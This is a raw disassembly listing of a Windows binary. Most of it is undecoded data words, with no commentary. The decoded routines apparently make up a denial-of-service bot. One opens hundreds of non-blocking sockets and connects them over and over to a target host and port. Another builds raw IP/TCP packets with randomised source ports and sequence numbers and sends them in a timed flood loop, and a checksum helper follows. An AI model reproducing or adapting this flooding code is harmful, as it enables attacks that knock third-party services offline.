		dd 0B5FF18EBh, 0FFFFFE44h, 0FF6D95E8h, 0FF5059FFh, 4CBA1415h
		dd 0E74CA300h, 458B004Ch, 0E750A3E8h, 37E8004Ch, 99000086h
		dd 100B9h, 88F9F700h, 4CE75415h, 8624E800h, 0B9990000h
		dd 100h, 1588F9F7h, 4CE755h, 8611E8h, 0F0B99900h, 68000000h
		dd 400h, 8966F9F7h, 4CE7563Dh, 1D896600h, 4CE75Ah, 15896642h
		dd 4CE758h, 85E9E8h, 0FFB99900h, 0F7000000h, 5C6852F9h
		dd 0E8004CE7h, 8284h, 8D0CC483h, 106AE445h, 1C685750h
		dd 68000004h, 4CE740h, 0FFFC75FFh, 4CBA3815h, 0FFF88300h
		dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 6C15FFFCh,	0FF004CBAh
		dd 4CB96815h, 858D5000h, 0FFFFFE48h, 500875FFh,	43792C68h
		dd 44858D00h, 68FFFFFCh, 200h, 861AE850h, 0C4830000h, 0DC7D3918h
		dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh
		dd 0FE44B5FFh, 0FEE8FFFFh, 83FFFF5Ah, 858D14C4h, 0FFFFFC44h
		dd 1FBEE850h, 75FF0000h, 7954E8C8h, 5959FFFFh, 0C276E857h
		dd 0FF90022Eh, 15FFFC75h, 4CBA6Ch, 3308458Bh, 3CC06BD2h
		dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh
		dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 4378E068h
		dd 9BE85000h, 83000084h, 7D391CC4h, 572075DCh, 0FC44858Dh
		dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h,	0E8FFFFFEh
		dd 0FFFF5A79h, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh
		dd 0CFE8C875h, 59FFFF78h, 0E8905759h, 22EC1F0h
dword_413E10	dd 0B8EC8B55h, 10320h, 86E3E8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+542Do
		dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 5C15FF00h
		dd 89004CB9h, 858D0845h, 0FFFFFF40h, 1415FF50h,	8B004CBAh
		dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 5815FF50h
		dd 3B004CBAh, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh
		dd 0FCBC858Dh, 1C68FFFFh, 5000437Ah, 83DDE8h, 0CC48300h
		dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh,	0FEC0858Dh
		dd 0FF50FFFFh, 0FFFEBCB5h, 59BBE8FFh, 0C483FFFFh, 0BC858D14h
		dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF7811E8h, 575959FFh
		dd 0C132E890h, 0C33B022Eh, 408B0C74h, 8B008B0Ch, 0FC458900h
		dd 758903EBh, 8D1C6AFCh, 5053E045h, 8083E8h, 0E84D8300h
		dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h
		dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h
		dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h
		dd 4CB8ECh, 0C0753B46h,	75FFDA7Ch, 8C15FF08h, 8D004CBAh
		dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 4379F068h, 0FE85000h
		dd 83000083h, 5D390CC4h, 532075D8h, 0FCBC858Dh,	75FFFFFFh
		dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF58EDh
		dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 43E8D075h
		dd 59FFFF77h, 0E8905359h, 22EC064h
dword_413F9C	dd 0B8EC8B55h, 10310h, 8557E8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+5679o
		dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 0CDE89000h
		dd 500229CCh, 82E7E8h, 116A5900h, 26A026Ah, 0BA5415FFh
		dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 7F82E850h,	0C4830000h
		dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CBA14h
		dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CBA5815h
		dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh,	7068FFFFh
		dd 5000437Ah, 8231E8h, 0CC48300h, 75E87D39h, 858D5720h
		dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h
		dd 580FE8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h
		dd 0E075FF00h, 0FF7665E8h, 565959FFh, 0BF86E890h, 408B022Eh
		dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh,	2FE81175h
		dd 99000082h, 0FFDCB9h,	42F9F700h, 0FF03EB52h, 15FFDC75h
		dd 4CB9D4h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h
		dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h
		dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh,	81E1E8h
		dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh
		dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah,	106AF045h
		dd 0B3E85750h, 6A000081h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh
		dd 0FEFCF085h, 0FF5350FFh, 4CBA3815h, 0D875FF00h, 0C319E890h
		dd 754E0228h, 0DC7D39CEh, 83E8BC75h, 99000081h,	0FFDCB9h
		dd 42F9F700h, 0D415FF52h, 66004CB9h, 0EBF24589h, 50858DA1h
		dd 50FFFFFFh, 0FCCC858Dh, 4468FFFFh, 5000437Ah,	80F9E8h
		dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh,	50E475FFh
		dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 56D7E8FFh, 0C483FFFFh
		dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF752DE8h
		dd 575959FFh, 2EBE4FE8h
		db 2, 90h
word_4141B2	dw 8B55h		; DATA XREF: sub_401ACD+4CC4o
		dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
		dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh
		dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h,	8D500CC4h
		dd 0FFFBEC85h, 7A9868FFh, 0E8500043h, 805Eh, 0C483F633h
		dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h
		dd 50FFFFFFh, 0FDECB5FFh, 3AE8FFFFh, 83FFFF56h,	858D14C4h
		dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7490E8F0h,	5959FFFFh
		dd 0BDB2E856h, 5F90022Eh
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414251	proc near		; CODE XREF: ___:0041433Ap

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4CB9D4
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_41430F
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_41429C:				; CODE XREF: sub_414251+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_4142A4:				; CODE XREF: sub_414251+7Aj
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_4142C7
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB155Ah


loc_4142C7:				; CODE XREF: sub_414251+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_4142A4
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_4142D5:				; CODE XREF: sub_414251+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		nop
		call	near ptr 71AB3E5Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_4142D5
		push	64h
		nop
		call	near ptr 26A044Bh
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_4142F9:				; CODE XREF: sub_414251+B4j
		push	dword ptr [esi]
		nop
		call	near ptr 71AB1A6Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_4142F9
		dec	[ebp+arg_4]
		jnz	short loc_41429C
		pop	edi
		pop	esi
		pop	ebx


loc_41430F:				; CODE XREF: sub_414251+3Ej
		xor	eax, eax
		leave
		retn
sub_414251	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40A8F0
		push	dword ptr [esp+18h]
		mov	edi, eax
		call	sub_41C159
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41C159
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_414251
		add	esp, 18h
		test	eax, eax
		jnz	short loc_414349
		push	1
		pop	eax


loc_414349:				; CODE XREF: ___:00414344j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_414358	dd 81EC8B55h, 414ECh, 8458B00h,	85B95756h, 8B000000h, 0ECBD8DF0h
					; DATA XREF: sub_401ACD+636Bo
		dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
		dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h
		dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 437AC4h, 7EB8E850h
		dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh
		dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF5494E8h
		dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh
		dd 0FFFF72EAh, 90565959h, 2EBC0BE8h
; ---------------------------------------------------------------------------
		add	bl, [edi+5Eh]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4143F7	proc near		; CODE XREF: ___:004146E5p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB944
		test	eax, eax
		jz	short loc_414437
		xor	eax, eax
		jmp	loc_4146A5
; ---------------------------------------------------------------------------


loc_414437:				; CODE XREF: sub_4143F7+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CBA78
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_41469D
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4CB9B4
		cmp	eax, 0FFFFFFFFh
		jz	loc_414693
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4CB9D4
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4CB9D4
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4CB9D4
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4CB9D4
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	near ptr 27D0580h
		nop
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 27D0265h
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41DB20
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_414522:				; CODE XREF: sub_4143F7+25Dj
					; sub_4143F7+26Bj
		mov	[ebp+var_24], bx
		call	sub_41C2C2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB9D4
		mov	[ebp+var_34], ax
		call	sub_41C2C2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41C2C2
		or	edi, eax
		push	edi
		call	dword_4CB9D4
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB9D0
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB9D4
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4CBA38
		cmp	eax, 0FFFFFFFFh
		jz	short loc_414667
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 27D0265h
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_414690
		jl	loc_414522
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_414690
		jmp	loc_414522
; ---------------------------------------------------------------------------


loc_414667:				; CODE XREF: sub_4143F7+247j
		call	dword_4CB968
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_437AEC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_415D38
		add	esp, 10h
		jmp	short loc_414693
; ---------------------------------------------------------------------------


loc_414690:				; CODE XREF: sub_4143F7+25Bj
					; sub_4143F7+269j
		mov	ebx, [ebp+arg_8]


loc_414693:				; CODE XREF: sub_4143F7+78j
					; sub_4143F7+297j
		push	[ebp+var_C]
		call	dword_4CBA6C
		pop	esi


loc_41469D:				; CODE XREF: sub_4143F7+5Bj
		call	dword_4CB92C
		mov	eax, ebx


loc_4146A5:				; CODE XREF: sub_4143F7+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4143F7	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40A8F0
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41C159
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41C159
		mov	edi, eax
		call	sub_41C2C2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4143F7
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4146F4
		push	1
		pop	eax


loc_4146F4:				; CODE XREF: ___:004146EFj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_414703	db 55h			; DATA XREF: sub_401ACD+6D3Do
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 7A25h, 858D5059h, 0FFFFFE70h, 1415FF50h, 50004CBAh
		dd 5DE8h, 50595900h, 0FC6C858Dh, 0C68FFFFh, 5000437Bh
		dd 7B09E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh
		dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h,	0E8FFFFFEh
		dd 0FFFF50E5h, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h
		dd 3BE8F075h, 59FFFF6Fh, 0E8905659h, 22EB85Ch, 8B555E5Fh
		dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh
		dd 6583046Ah, 0BB5E00A8h, 0FFh,	0C033066Ah, 0AC7D8D5Ah
		dd 0FF7C8D89h, 45C7FFFFh, 280h,	84758900h, 0C7885589h
		dd 88C45h, 45C70000h, 0C90h, 9445C700h,	11h, 169845C7h
		dd 0C7000000h, 299C45h,	45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h
		dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h
		dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh
		dd 100h, 915FE857h, 89590000h, 5057FC45h, 0B9E815FFh, 75FF004Ch
		dd 5815FFFCh, 8B004CBAh, 6A530C40h, 8B026A03h, 89008B00h
		dd 15FFF445h, 4CBA54h, 56D84D8Dh, 6A026A51h, 45895000h
		dd 0B415FFFCh, 0BE004CB9h, 200h, 7627E856h, 3D8B0000h
		dd 4270B0h, 0F8458959h,	4589D7FFh, 8458BF0h, 29A68h, 6C858900h
		dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0B9D415FFh, 8966004Ch
		dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h
		dd 870F0C45h, 0CFh, 79E5E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h
		dd 0E2C100FFh, 89D00B18h, 0CBE8F455h, 99000079h, 0F9F7CB8Bh
		dd 0E8AC5589h, 79BEh, 1FA4B999h, 45C60000h, 0F9F745DCh
		dd 4DD45C6h, 0E8D45589h, 79A6h,	0E0458966h, 799DE8h, 990A6A00h
		dd 66F9F759h, 0B095448Bh, 0D415FF50h, 56004CB9h, 0E2458966h
		dd 0B9D415FFh, 8966004Ch, 5D88DE45h, 7974E8E4h,	0E6A0000h
		dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh
		dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF60EAE8h, 458966FFh
		dd 0DC458DE6h, 0FF50146Ah, 99E8F875h, 83000083h, 858D14C4h
		dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0BA3815FFh
		dd 1AE9004Ch, 0FFFFFFFFh, 0E2E8F875h, 59000070h, 0FFFC75FFh
		dd 4CBA6C15h, 58016A00h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
byte_4149C1	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5306o
		dd 440EC81h, 458B0000h,	57565308h, 0F08B686Ah, 0C0BD8D59h
		dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah
		dd 19Ch, 88C03359h, 0FFFF609Dh,	66ABF3FFh, 3D8BAAABh, 4270B0h
		dd 0E850D7FFh, 78ACh, 0FF6859h,	36A0000h, 15FF026Ah, 4CBA54h
		dd 89FFF883h, 6675FC45h, 0B96815FFh, 8D50004Ch,	0FFFBC085h
		dd 7C2468FFh, 0E8500043h, 782Ah, 390CC483h, 0FFFF589Dh
		dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h
		dd 50FFFFFEh, 0FDC0B5FFh, 2E8FFFFh, 83FFFF4Eh, 858D14C4h
		dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF6C55E8h
		dd 535959FFh, 2EB577E8h, 4D8D9002h, 51046ACCh, 5053026Ah
		dd 0FFCC7589h, 4CB9B415h, 0FFF88300h, 15FF6675h, 4CB968h
		dd 0C0858D50h, 68FFFFFBh, 437BECh, 77ACE850h, 0C4830000h
		dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h,	0FF54B5FFh
		dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF4D84E8h
		dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh
		dd 0D7E8FFFFh, 59FFFF6Bh, 0E8905359h, 22EB4F8h,	0FDC4858Dh
		dd 0FF50FFFFh, 4CBA1415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h
		dd 437BCC68h, 3BE85000h, 39000077h, 0FFFF589Dh,	755959FFh
		dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h
		dd 0B5FF50FFh, 0FFFFFDC0h, 0FF4D14E8h, 14C483FFh, 0FBC0858Dh
		dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 67E8FFFFh, 59FFFF6Bh
		dd 0E8905359h, 22EB488h, 458D106Ah, 0E85053BCh,	73ECh
		dd 660CC483h, 2BC45C7h,	15FF5300h, 4CB9D4h, 0BE458966h
		dd 0FDC4858Dh, 0FF50FFFFh, 4CBA1415h, 0C0458900h, 0FF085D89h
		dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h
		dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0B9D415FFh
		dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h
		dd 80DC45C6h, 6DD45C6h,	0DE5D8966h, 0C7E82D74h,	8B000076h
		dd 8E6C1F0h, 76BDE8h, 0C1F00300h, 0B3E808E6h, 3000076h
		dd 8E6C1F0h, 76A9E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh
		dd 0FFFDC0B5h, 5DD8E8FFh, 5059FFFFh, 0BA1415FFh, 4589004Ch
		dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7676h
		dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 0D415FFFFh
		dd 66004CB9h, 0E8EA4589h, 7656h, 401B999h, 0F9F70000h
		dd 0D415FF52h, 68004CB9h, 12345678h, 0E8458966h, 0B9D015FFh
		dd 4589004Ch, 44858DECh, 68FFFFFEh, 42B0D0h, 7642E850h
		dd 85590000h, 97459C0h,	0C6F05D89h, 0EB02F545h,	44858D5Ch
		dd 68FFFFFEh, 42AEE8h, 7622E850h, 85590000h, 97459C0h
		dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42AEE0h
		dd 7602E850h, 85590000h, 257459C0h, 75D9E8h, 99036A00h
		dd 89F9F759h, 0CBE8F055h, 6A000075h, 0F7599902h, 1ADAF7F9h
		dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h
		dd 4CB9D4h, 0F6458966h,	89E0458Bh, 458B9C45h, 66146AE4h
		dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h,	0D415FF06h
		dd 66004CB9h, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh
		dd 7FCBE8h, 0E8458D00h,	8D50146Ah, 0E8508045h, 7FBCh, 0FF60858Dh
		dd 346AFFFFh, 5CEDE850h, 8966FFFFh, 458DF845h, 50146AD4h
		dd 0FF60858Dh, 0E850FFFFh, 7F98h, 6AE8458Dh, 858D5014h
		dd 0FFFFFF74h, 7F86E850h, 46A0000h, 5388458Dh, 71CAE850h
		dd 0C4830000h, 60858D44h, 6AFFFFFFh, 0A8E85028h, 66FFFF5Ch
		dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 7F53E8h
		dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h,	503C6AFFh
		dd 0FFFC75FFh, 4CBA3815h, 0FFF88300h, 45FF0874h, 0FDBAE908h
		dd 75FFFFFFh, 6C15FFFCh, 0FF004CBAh, 4CB96815h,	858D5000h
		dd 0FFFFFDC4h, 500875FFh, 437B7C68h, 0C0858D00h, 68FFFFFBh
		dd 200h, 753AE850h, 0C4830000h,	589D3918h, 75FFFFFFh, 858D5323h
		dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh
		dd 0FFFFFDC0h, 0FF4A18E8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh
		dd 0ED8h, 0FF44B5FFh, 6BE8FFFFh, 59FFFF68h, 0E8905359h
		dd 22EB18Ch, 0FFFC75FFh, 4CBA6C15h, 8458B00h, 0C06BD233h
		dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h
		dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h
		dd 437B2C68h, 0AFE85000h, 83000073h, 9D391CC4h,	0FFFFFF58h
		dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh,	0FEC4858Dh
		dd 0FF50FFFFh, 0FFFDC0B5h, 4987E8FFh, 0C483FFFFh, 0C0858D14h
		dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF67DAh
		dd 90535959h, 2EB0FBE8h
		db 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+0Ch], esi
		jle	short loc_414F31
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_414F23:				; CODE XREF: ___:00414F2Bj
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414F23
		pop	edi
		cmp	eax, 1


loc_414F31:				; CODE XREF: ___:00414F17j
		jnz	short loc_414F3E
		mov	al, [edx]
		mov	[ebp+0Ch], al
		movzx	eax, word ptr [ebp+0Ch]
		add	esi, eax


loc_414F3E:				; CODE XREF: ___:loc_414F31j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
